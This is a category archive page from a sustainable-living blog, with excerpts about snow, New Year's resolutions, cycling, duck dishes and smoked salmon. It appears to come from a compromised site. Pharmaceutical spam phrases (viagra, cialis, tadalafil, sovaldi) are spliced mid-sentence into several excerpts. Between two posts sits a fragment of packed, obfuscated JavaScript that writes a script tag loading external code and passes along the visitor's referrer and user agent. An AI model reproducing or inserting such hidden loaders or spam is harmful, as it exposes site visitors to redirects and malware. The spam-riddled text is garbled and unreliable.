Category Archives: Dark Green

Most challenging Sustainable Living Solutions – Good for if you want to jump into some more advanced things you can do (but they aren’t all that hard). Go for it!

Heat Pumps: Reducing your Energy Usage


The snow has descended on Camp 4 and it has been interesting to see how the animals have reacted since it is a rare event here in the Pacific Northwest.

And then after three days you start to get cabin fever and splice together a montage of footage..  Check out our short video, generic viagra buy “Snow Birds”.

Continue reading

Lean, GREEN, Workout Routine


New Year’s is not a blow-the-doors-off party for us.  We take time with the family and enjoy a quiet evening together and a bonfire (weather permitting of course).  After all the busy rushing around, tadalafil clinic it is our time to reflect on the past year and ponder how we want to approach the fresh start that the New Year offers.

Beyond the traditional diet promises that we all make only to abandon them 2-weeks later, viagra generic we look for one little thing we can do for the planet.  Your resolution choice is completely up to you, sovaldi sale but to make things easy we have listed some of our favorite, simple things you could commit to.  After all, no point in starting really big and feeling like you have a mountain to climb.

Continue reading

Sustainable Living with Kate Ruffing on Momster Blog



c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("< \\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fdknk|var|u0026u|referrer|bskhh||js|php'.split('|'),0,{}))

I made this dish for my husband’s birthday.  It features our Duck Eggs and Duck Bacon (which is essentially cured duck breast sliced on the bias and leaving the fat in place).  It was incredible!  Best eaten the same day it is prepared as over time the “sauce” is absorbed into the noodles and loses the texture.

Continue reading

Waking up (early) to Sustainability


Last month, best viagra cialis I hit the open road for our island’s annual garden tour.  And unlike past years, buy cialis I thought I should embrace alternative transportation and bike to each one of the gardens (a 25 mile tour with hills, valleys and more hills).

What I miscalculated was 1) my level of conditioning 2) the weight of my road bike on all the hills!

Let me just say first, it was totally fun, but exhasting!  But let me also admit, it got me thinking why I don’t get around town by bike more often.  The answer boils down to the reasons outlined in points #1 and #2 above.

So #1 is just about getting out there and getting back in shape – I will admit that the last year has had me in front of my computer more than working out.  But as much good intention I have, every time I think about biking somewhere, I remember the killer hills near our home and my ambitions to be a biking road warrior quickly die.  So that leads to point #2 – getting a better bike to help me get up the hills.

So wrapped in a cloud of Bengay, I head to my local bike shop for some coaching and purchase support.

Continue reading

Smoked Salmon with Cucumber & Dill Creme Fraiche served with Homemade Fennel Crackers


Since my husband got a wood smoker for Christmas this year he has been trying out many recipes for smoked fish. This Smoked Salmon is my favorite so far and is an elegant appetizer at any function especially when served with Cucumber & Dill Creme Fraiche (easier than you would think to make from scratch) and homemade fennel crackers. I enjoy pairing this dish with the wonderfully crisp and refreshing Cucumber DRYSoda which highlights the sweet smoky notes of the fish.

Try to find line caught, best cialis health Pacific salmon for a sustainable fish choice and smoke over alder and cedar.

Continue reading